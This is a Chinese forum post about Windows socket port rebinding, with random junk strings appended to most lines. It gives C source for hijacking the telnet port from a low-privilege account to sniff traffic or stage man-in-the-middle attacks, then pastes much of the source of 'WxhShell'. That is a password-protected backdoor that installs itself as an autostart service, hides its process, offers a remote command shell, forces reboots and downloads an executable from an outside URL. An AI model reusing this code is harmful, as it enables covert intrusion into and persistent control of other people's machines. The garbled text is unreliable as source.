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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MT<3OKo?:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JB HnJm  
[yVcH3GcjI  
  saddr.sin_family = AF_INET; x)T07,3:  
U!T#'H5'-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kS_3 7-;  
3Z74&a$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X iM{YZ`B  
ar@ysBy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M+lI,j+  
uR82},r$m  
  这意味着什么?意味着可以进行如下的攻击: to)Pl}9QkK  
&sGLm~m#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7G_OFD  
8TO5j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Job&qW9W`  
b2YOnV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P> ~Lx  
Ms A)Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cX5tx]  
E /V`NqC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  #uuNH(  
7/BA!V(na  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  DIh[%  
@fd{5 >\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F=yE>[! LB  
LsNJ3oy  
  #include HA. O"A8`  
  #include bc\?y2 3  
  #include Do;rY\sY  
  #include    }j,G)\g#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s4>xh=PoJ  
  int main() Yq:TW eZD  
  { IF3V5Q  
  WORD wVersionRequested; _x?S0R1  
  DWORD ret; m\ /V0V\  
  WSADATA wsaData; 7s1LK/R|u  
  BOOL val; NjSjE_S2B8  
  SOCKADDR_IN saddr;  34~[dY  
  SOCKADDR_IN scaddr; cS"PIelR  
  int err; n/IDq$/P  
  SOCKET s; :N>s#{+"3  
  SOCKET sc; 5va ;Ol4  
  int caddsize; I^S{V^Ty  
  HANDLE mt; &r V  
  DWORD tid;   JP 8v2) p  
  wVersionRequested = MAKEWORD( 2, 2 ); SZD@<3Nb  
  err = WSAStartup( wVersionRequested, &wsaData ); k!m9 l1x  
  if ( err != 0 ) { U6oab9C?k  
  printf("error!WSAStartup failed!\n"); CB?,[#r5f  
  return -1; ZAMS;e+e  
  } l # F.S5i  
  saddr.sin_family = AF_INET; U+g<lgH1J  
   3/2G~$C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >HQ<KFA  
F% K}&3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5[$jrG\!  
  saddr.sin_port = htons(23); )9>E} SU/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JU0|pstf  
  { I`EgR?5 `  
  printf("error!socket failed!\n"); ;]SP~kG  
  return -1; R8R,!3 N  
  } pJ]i)$M  
  val = TRUE; 3UQ~U 8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Fv9n>%W&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PQ[x A*  
  { G G[$-  
  printf("error!setsockopt failed!\n"); )NS& 1$  
  return -1; =k22f`8ew  
  } nD;8)VI'I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fHwr6"DJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \}mn"y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \~'+TW  
P[C03a!lXg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D[}qhDlX  
  { VcR(9~  
  ret=GetLastError(); M]OZS\9.B  
  printf("error!bind failed!\n"); 4f> s2I&pQ  
  return -1; %q 7gl;'  
  } J2~oIe2!+  
  listen(s,2); "+J[7p}`@  
  while(1) I%31MU9  
  { 4vRIJ}nQ  
  caddsize = sizeof(scaddr); _D?`'zN  
  //接受连接请求 Ie8jBf -  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fQOh%i9n5  
  if(sc!=INVALID_SOCKET) &c1zEgl  
  { :u>9H{a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <',bqsg[  
  if(mt==NULL) Lj03Mx.2S  
  { Vt D:'L-  
  printf("Thread Creat Failed!\n"); Q@/358.LA  
  break; FrryZe=  
  } H:M;H =0  
  } xu7Q^F#u  
  CloseHandle(mt); S?Z"){  
  } 5 MD=o7O^  
  closesocket(s); tB7g.)yZb  
  WSACleanup(); x(/{]$h  
  return 0; u|]`gsFZ\  
  }   %t\ ~3pw=  
  DWORD WINAPI ClientThread(LPVOID lpParam) }H<87zH  
  { |v%xOl  
  SOCKET ss = (SOCKET)lpParam; o>Jr6: D(  
  SOCKET sc; EAM2t|M G.  
  unsigned char buf[4096]; YX:[],FP  
  SOCKADDR_IN saddr; !o&b:7  
  long num; $'>h7].  
  DWORD val; s4{WPU9  
  DWORD ret; JgY#W1>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /xcl0oe(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &*wc` U  
  saddr.sin_family = AF_INET; Da"GYEC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); csay\Q{  
  saddr.sin_port = htons(23); k3B-;%3I;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;J3 (EB  
  { )mw&e}jRV  
  printf("error!socket failed!\n"); !%4&O  
  return -1; x#_0 6  
  } [Vaw$c-+[y  
  val = 100; THbV],RhJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q!P{a^Fnc  
  { i+HHOT  
  ret = GetLastError(); _Y gvLz %  
  return -1; Fb{kql=  
  } E|fQbkfw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m@){@i2.  
  { <ny)yK  
  ret = GetLastError(); !3'&_vmG$  
  return -1; @(m XiK  
  } `<:D.9vO "  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZeyA bo  
  { %VD>S  
  printf("error!socket connect failed!\n"); w,QO!)j!  
  closesocket(sc); 0'9z XJ"  
  closesocket(ss); %>G(2)Fb\\  
  return -1; >1n[Y- r  
  } _ X* A  
  while(1) L'?0*t  
  { =icynW^Fr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u \zP`Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hqKftk)+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b:w {7  
  num = recv(ss,buf,4096,0); ZNEWUt{+;^  
  if(num>0) ~Z#jIG<?g  
  send(sc,buf,num,0); 8Ekk"h 6  
  else if(num==0) PHh&@:  
  break; 5#v|t\ {  
  num = recv(sc,buf,4096,0); :"oQ _bLT  
  if(num>0) xi =\]  
  send(ss,buf,num,0); F};G&  
  else if(num==0) =,-&h V  
  break; 8XU m.nV  
  } N=oWIK<;-  
  closesocket(ss); `:I<Jp  
  closesocket(sc); c$>$2[*=  
  return 0 ; pjP R3 r  
  } ,y5 7tY  
jw"]U jub  
|4@su"OA  
========================================================== c)tG1|Og]  
# ,KjJ  
下边附上一个代码,,WXhSHELL 71# ipZ  
Lh(` 9(tX  
========================================================== cj!Ew}o40D  
XPt<k&o1,  
#include "stdafx.h" Do&/+Ssnu  
0ThX1)SH  
#include <stdio.h> =R  <X!@  
#include <string.h> /T_ G9zc  
#include <windows.h> `IQ76Xl  
#include <winsock2.h> :sY pZX1  
#include <winsvc.h> O*ql!9}E{  
#include <urlmon.h> _K?{DnTb  
2/c^3[ccR  
#pragma comment (lib, "Ws2_32.lib") oe8sixZ[  
#pragma comment (lib, "urlmon.lib") L/VlmN_v>s  
$C;)Tlh  
#define MAX_USER   100 // 最大客户端连接数 [;F%6MPK^  
#define BUF_SOCK   200 // sock buffer  0"VL6$  
#define KEY_BUFF   255 // 输入 buffer h!L/ZeRaV  
AMhHq/Dw  
#define REBOOT     0   // 重启 m*d {pX  
#define SHUTDOWN   1   // 关机 !Deg!f\g  
}op0`-Xb  
#define DEF_PORT   5000 // 监听端口 J AK+v  
f2JeXsOI  
#define REG_LEN     16   // 注册表键长度 cq=ker zQ  
#define SVC_LEN     80   // NT服务名长度  Nx8~Rn  
H.HXwN/x  
// 从dll定义API QD}'2{M!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x dT1jI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >2[\WF*"X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1$*ZN4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'w8k*@cQ  
U '#Xwax  
// wxhshell配置信息 FKOTv2  
struct WSCFG { 12yr_   
  int ws_port;         // 监听端口 H 40~i=.  
  char ws_passstr[REG_LEN]; // 口令 7( &\)qf=n  
  int ws_autoins;       // 安装标记, 1=yes 0=no !`rR;5&sT  
  char ws_regname[REG_LEN]; // 注册表键名 E8Jy!8/X9T  
  char ws_svcname[REG_LEN]; // 服务名 ?J<V-,i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?4kM5NtP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t@`w}o[#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ky`xBO =  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DaV:Slp9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W]]@pbG"H\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oM&}akPE  
B J0P1vh6M  
}; }J~ d6m  
%q~YJ*\  
// default Wxhshell configuration CBqeO@M  
struct WSCFG wscfg={DEF_PORT, _%xe:X+ M  
    "xuhuanlingzhe", ^4WNP  
    1, Qd %U(|  
    "Wxhshell", w$X"E*~>8  
    "Wxhshell", B~[QmK  
            "WxhShell Service", ]Cfjs33H  
    "Wrsky Windows CmdShell Service", O M]d}}=Y  
    "Please Input Your Password: ", f(^? PGO  
  1, 4pin\ZS:C  
  "http://www.wrsky.com/wxhshell.exe", P;V$%r`yD  
  "Wxhshell.exe" X#bK.WN$  
    }; 5d7AE^SHsH  
V!Px975P  
// 消息定义模块 -A?6)ggf.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xp!M A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &DX&*Xq2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /Ria"lLv  
char *msg_ws_ext="\n\rExit."; % Rv ;e  
char *msg_ws_end="\n\rQuit."; /E/Z0<l7  
char *msg_ws_boot="\n\rReboot..."; qSg#:;(O  
char *msg_ws_poff="\n\rShutdown..."; J <"=c z$  
char *msg_ws_down="\n\rSave to "; $Z{ap  
Ej\M e  
char *msg_ws_err="\n\rErr!"; k$kOp *X  
char *msg_ws_ok="\n\rOK!"; 4@iMGYR9!s  
xnuu#@f  
char ExeFile[MAX_PATH]; e ej:  
int nUser = 0; lo1<t<w`  
HANDLE handles[MAX_USER]; kq{PM-]l  
int OsIsNt; ")'9:c  
M+7&kt0;  
SERVICE_STATUS       serviceStatus; A5UZUU^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xjy5Yj  
U?bQBHIC  
// 函数声明 ;qA(!`h+  
int Install(void); ~o_zV'^f@o  
int Uninstall(void); <|!?V"`3  
int DownloadFile(char *sURL, SOCKET wsh); pk%%}tP<  
int Boot(int flag); [tKH'}/s=  
void HideProc(void); #-]!;sY>  
int GetOsVer(void); :>:F6Db"U  
int Wxhshell(SOCKET wsl); St1Ny,$yU  
void TalkWithClient(void *cs); \jkMnS6FvL  
int CmdShell(SOCKET sock); )p$a1\ ~m  
int StartFromService(void); I@$cw3  
int StartWxhshell(LPSTR lpCmdLine); '7oWN,-  
` XvuyH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n=z=%T6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $s2Y,0>I6  
UA BaS(f3  
// 数据结构和表定义 W> +/N4  
SERVICE_TABLE_ENTRY DispatchTable[] = ^^9O9]  
{ wM-I*<L>  
{wscfg.ws_svcname, NTServiceMain}, 5~,/VV  
{NULL, NULL} 'ie+/O@G  
}; ?~%Go  
qZV.~F+  
// 自我安装 0^0Q0A  
int Install(void) H%peE9>$  
{ !Ojf9 6is  
  char svExeFile[MAX_PATH]; ^&!S nM  
  HKEY key; Smt&/~7D%  
  strcpy(svExeFile,ExeFile); 6m~N2^z  
ezq<)gJc  
// 如果是win9x系统,修改注册表设为自启动 /8Sr(  
if(!OsIsNt) { q':P9 o*N?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =tKb7:KU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &y} ]^wB  
  RegCloseKey(key); ^$!H|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P^)J^{r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  dcd9AW=  
  RegCloseKey(key); +Fk]hCL  
  return 0; {:63% j  
    } iI]E%H}  
  } ?o D]J  
} 5x2m ]u  
else { 6EX_IDb  
;8~tt I  
// 如果是NT以上系统,安装为系统服务 < Z>p1S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^$D2fS  
if (schSCManager!=0) Fk-}2_=v i  
{ 'm4v)w<y#  
  SC_HANDLE schService = CreateService Ft[)m#Dj`  
  ( l0v]+>1i:  
  schSCManager, 38gHM9T xh  
  wscfg.ws_svcname, * NB:"1x  
  wscfg.ws_svcdisp, ru#CywK{{;  
  SERVICE_ALL_ACCESS, 7 {n>0@_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MYlPG1X=?  
  SERVICE_AUTO_START, =o+js;3  
  SERVICE_ERROR_NORMAL, -~|E(ys  
  svExeFile, )LdS1%  
  NULL, mu>L9Z~(L_  
  NULL, i?+>,r@\p  
  NULL, A*a:#'"*N  
  NULL, V6CRl&ZKO  
  NULL &^I2NpT  
  ); 0ECQ>Ux:  
  if (schService!=0) 67{3/(`x  
  { `J26Y"]P  
  CloseServiceHandle(schService); /SvB w>gQ  
  CloseServiceHandle(schSCManager); }#Q?\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6p}dl>T_y  
  strcat(svExeFile,wscfg.ws_svcname); ar%!h~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2," (  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !</Snsi  
  RegCloseKey(key); Q+ogVvMq>  
  return 0; n a3st*3V_  
    } Wu1">|  
  } Lc?q0x^s  
  CloseServiceHandle(schSCManager); t*Xo@KA  
} q=J8SvSRl  
} hgmo b"o  
~\QN.a   
return 1; )/Mk\``j  
} X%lk] &2  
HC$rC"f  
// 自我卸载 -Z<V? SFOK  
int Uninstall(void) q qFN4AO  
{ Q$B\)9`v[  
  HKEY key; *@-a{T}  
AnD#k ]  
if(!OsIsNt) { VS\+"TPuH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l.Yq4qW  
  RegDeleteValue(key,wscfg.ws_regname); C"[d bh!  
  RegCloseKey(key); dJf#j?\[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OV+|j  
  RegDeleteValue(key,wscfg.ws_regname); @@QB,VS;{<  
  RegCloseKey(key); ol#4AU`  
  return 0; so]p1@K  
  } "P9SW?',  
} W02t6DW  
} 0%b !ARix  
else { UVlXDebl  
ySP%i6!au  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KrzIL[;2o  
if (schSCManager!=0) ZR |n\.  
{ -SeHz.` N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j}F;Bfq!  
  if (schService!=0) '0tNo.8K  
  { KM&bu='L^  
  if(DeleteService(schService)!=0) { 8_h:_7e  
  CloseServiceHandle(schService); l2ww3)Z  
  CloseServiceHandle(schSCManager); Y2&hf6BE  
  return 0; G{!adBna  
  } #BOLq`9 f  
  CloseServiceHandle(schService); rWS],q=c  
  } }48 o{\  
  CloseServiceHandle(schSCManager); ])vWvNx  
} }Lc8tj<  
} ZBxV&.9/  
xC^|S0B  
return 1; e{k)]]J  
} in>.Tax*  
C?-_8OA  
// 从指定url下载文件 V =-hqo(  
int DownloadFile(char *sURL, SOCKET wsh) .cCB,re  
{ tFrNnbmlQ  
  HRESULT hr; 8;+dlWp  
char seps[]= "/"; _WB*ArR  
char *token; CWx_9b zk  
char *file; 0m>?-/uDx  
char myURL[MAX_PATH]; 1_MaaA;ow"  
char myFILE[MAX_PATH]; ps&p|  
*;!p#qL  
strcpy(myURL,sURL); c[zaYcbl  
  token=strtok(myURL,seps); &$<7]a\dM  
  while(token!=NULL) rd hM#?  
  { wVac6q  
    file=token; QKt+Orz  
  token=strtok(NULL,seps); =Dc9|WuHN  
  } *If ]f0?%  
vWq/A.  
GetCurrentDirectory(MAX_PATH,myFILE); G W~ZmK  
strcat(myFILE, "\\"); XMi)PXs$  
strcat(myFILE, file); lDF26<<\`  
  send(wsh,myFILE,strlen(myFILE),0); ~X2 cTG!,  
send(wsh,"...",3,0); ov%.+5P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y. 1dk  
  if(hr==S_OK) F0 ^kUyF|  
return 0; nX\Q{R2  
else 0?/vcsO  
return 1; dePI&z:  
LvbS")  
} ?I}0[+)V  
NWt5)xl  
// 系统电源模块 Ou,Eu05jt'  
int Boot(int flag) &8'QD~  
{ aX,ux9#  
  HANDLE hToken; ^,,lo<d_L  
  TOKEN_PRIVILEGES tkp; _ H$^m#h  
y1*z," dx  
  if(OsIsNt) { GkYD:o=qx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YM4njkI7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q ~>="Yiu  
    tkp.PrivilegeCount = 1; QbG`F8dj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b _%W*Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C=!YcJ9  
if(flag==REBOOT) { |p"4cG?)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M F_VMAq  
  return 0; A;e0h)F$-  
} <rAWu\d;  
else { fNNik7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +x:-W0C:  
  return 0; QoTjKck.  
} :j4i(qcF  
  } q A?j-H  
  else { 01AzM)U3"m  
if(flag==REBOOT) { DY'1#$;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ptvM>zw'~g  
  return 0; BzyzOtBp3L  
} 0$e]?]X6  
else { y+K21(z.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &XH{,fv$  
  return 0; S)~Riuy$  
} ^Z~'>J  
} [/Ya4=C@  
_?J:Z*z?  
return 1; }Pf7YuUZZ  
} #M5[TN!  
?> SH`\  
// win9x进程隐藏模块 o:C],G_  
void HideProc(void) DX)T}V&mP  
{ mIUpAOC`"Z  
&] euL:C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \5=fC9*G  
  if ( hKernel != NULL ) 'l`T(_zL\%  
  { q[T='!Z\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Q~`Eq?@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y*fU_Il|!  
    FreeLibrary(hKernel); `Z!NOC  
  } J^]Y`Q`  
FdVWj 5 $a  
return; +5C*i@v  
} )Og,VXEB  
KtY_m`DY4R  
// 获取操作系统版本 ecl$z6'c  
int GetOsVer(void) IsjD-t  
{ 8`j;v>2  
  OSVERSIONINFO winfo; DGllJ_/Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w+Cs=!  
  GetVersionEx(&winfo); 2(Ez H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \JX.)&> -  
  return 1; Tl ?]K  
  else U3zwC5}BN  
  return 0; \%ZF<sV W  
} p"XQJUuD  
<^,5z!z }  
// 客户端句柄模块 2n`OcXCh/  
int Wxhshell(SOCKET wsl) F 6 xQ`T|  
{ E*_lT`Hzf  
  SOCKET wsh; 3%$nRP X  
  struct sockaddr_in client; !ENb \'>J>  
  DWORD myID; &v#*  
1vF^<{%v  
  while(nUser<MAX_USER) e2 ?7>?  
{ 8>sToNRNe  
  int nSize=sizeof(client); oU.LYz_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f/:XIG  
  if(wsh==INVALID_SOCKET) return 1; qq+fUfB2:  
!a[1rQH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >/DyR+?>4  
if(handles[nUser]==0) _e;$Y#`EO  
  closesocket(wsh); p7A&r:qq#  
else Y M_\ ZK:  
  nUser++; n0T'"i[  
  } Rj|8l K;,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #.(6.Li  
7O)U(<70  
  return 0; s C9j73 vf  
} _:,:U[@Vz  
x_JCH7-  
// 关闭 socket /Wh} ;YTv^  
void CloseIt(SOCKET wsh) ,4-)  e  
{ !6pOY*> j  
closesocket(wsh); GB(o)I#h  
nUser--; Xw=>L#Q  
ExitThread(0); - T,;Fr'  
} .]qj];m  
NY'sZTM&  
// 客户端请求句柄 _M/ckv1q@  
void TalkWithClient(void *cs) %r0yBK2uOp  
{ pr8eRV!x  
T<|B1jA  
  SOCKET wsh=(SOCKET)cs; _(}{=:M?  
  char pwd[SVC_LEN]; =8r%zLDw  
  char cmd[KEY_BUFF]; u6A ReL 'f  
char chr[1]; $/aZ/O)F  
int i,j; 4ey m$UWw  
-,Q !:  
  while (nUser < MAX_USER) { Y. ]FVq  
4+od N.  
if(wscfg.ws_passstr) { 1Z?en  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :h tOz.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  iK$)Iy0  
  //ZeroMemory(pwd,KEY_BUFF); 'b#`8k~>  
      i=0; ysV0Ed  
  while(i<SVC_LEN) { k[]B P4  
%X Jv;|  
  // 设置超时 zo-hH8J:  
  fd_set FdRead; !F*7Mif_E  
  struct timeval TimeOut; O+Fu zCWj  
  FD_ZERO(&FdRead); nk,X6o9%  
  FD_SET(wsh,&FdRead); 1MH[-=[Q  
  TimeOut.tv_sec=8; J#7\R':}zl  
  TimeOut.tv_usec=0; NKD<VMcqw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1D03Nbh|5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |*W`}i  
VLuhURI)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5-M E Oy(  
  pwd=chr[0]; b-8{bP]n  
  if(chr[0]==0xd || chr[0]==0xa) { _ji"##K  
  pwd=0; n*6Oa/JG7  
  break; #1i&!et&/  
  } EELS-qA  
  i++; ,y}?Z 8?63  
    } 7q<2k_3<  
"d60IM#N?  
  // 如果是非法用户,关闭 socket =7@N'xX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5o 4\Jwt  
} &FF%VUfQJ  
Bb2;zOGdA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nqNL[w6{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {<{ O!  
V9*Z  
while(1) { K,{P b?  
JsohhkJNGi  
  ZeroMemory(cmd,KEY_BUFF); U|QLc   
#~l(t_m{  
      // 自动支持客户端 telnet标准   K' xN>qc  
  j=0; kLa9'c0  
  while(j<KEY_BUFF) {  n4;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T8( \:v  
  cmd[j]=chr[0]; Atc<xp  
  if(chr[0]==0xa || chr[0]==0xd) { x%Ph``XI  
  cmd[j]=0; 2Fk4jHj  
  break; f%fD>a  
  } h>AK^fX  
  j++; F !DDlYUz.  
    } tHAr9  
npC:SrI%  
  // 下载文件 Z<L|WRe  
  if(strstr(cmd,"http://")) { 77D>;90>?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); THC7e>P4  
  if(DownloadFile(cmd,wsh)) XpWcf ([  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DX>Yf}  
  else YJdM6   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iNj*G j  
  } 4&b*|"Iw  
  else { nn[OC=cDN  
e ]-fb{oVH  
    switch(cmd[0]) { &QHZ]2%U  
  9e5XS\  
  // 帮助 Kvx~2ZMx6  
  case '?': { n~ w.\939@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W:5uoO]=<  
    break; `sW+R=  
  } ?|4Y(0N  
  // 安装 JZ=ahSi  
  case 'i': { w[ )97d  
    if(Install()) e_U1}{=t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dsJMhB_41U  
    else :g&9v_}&K{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s{g^K#BoFi  
    break; R( 2,1f=d  
    } p>Z18  
  // 卸载 ,xcm:; &  
  case 'r': { KHnq%#  
    if(Uninstall()) tqo k.h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6:\0=k5  
    else :$k] ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +95: O 8  
    break; b}&2j3-n,  
    } ^@91BY  
  // 显示 wxhshell 所在路径 +\s32o zg  
  case 'p': { 2!@ER i  
    char svExeFile[MAX_PATH]; ]lQLA IQ  
    strcpy(svExeFile,"\n\r"); A^L8"  
      strcat(svExeFile,ExeFile); Y8i'=Po%,  
        send(wsh,svExeFile,strlen(svExeFile),0); n1Ic[cM}  
    break; #_(t46  
    } @%"+;D  
  // 重启 3lh^maQ]  
  case 'b': { L0^rw|Z%'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |.]g&m)y^h  
    if(Boot(REBOOT)) ve3-GWT{C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :t)<$dtf[  
    else { 6gy;Xg  
    closesocket(wsh); v35!? 5{  
    ExitThread(0); [B_(,/?  
    } yb/v?q?Fk  
    break; TyGsSc  
    } %f-Uwq&}Y"  
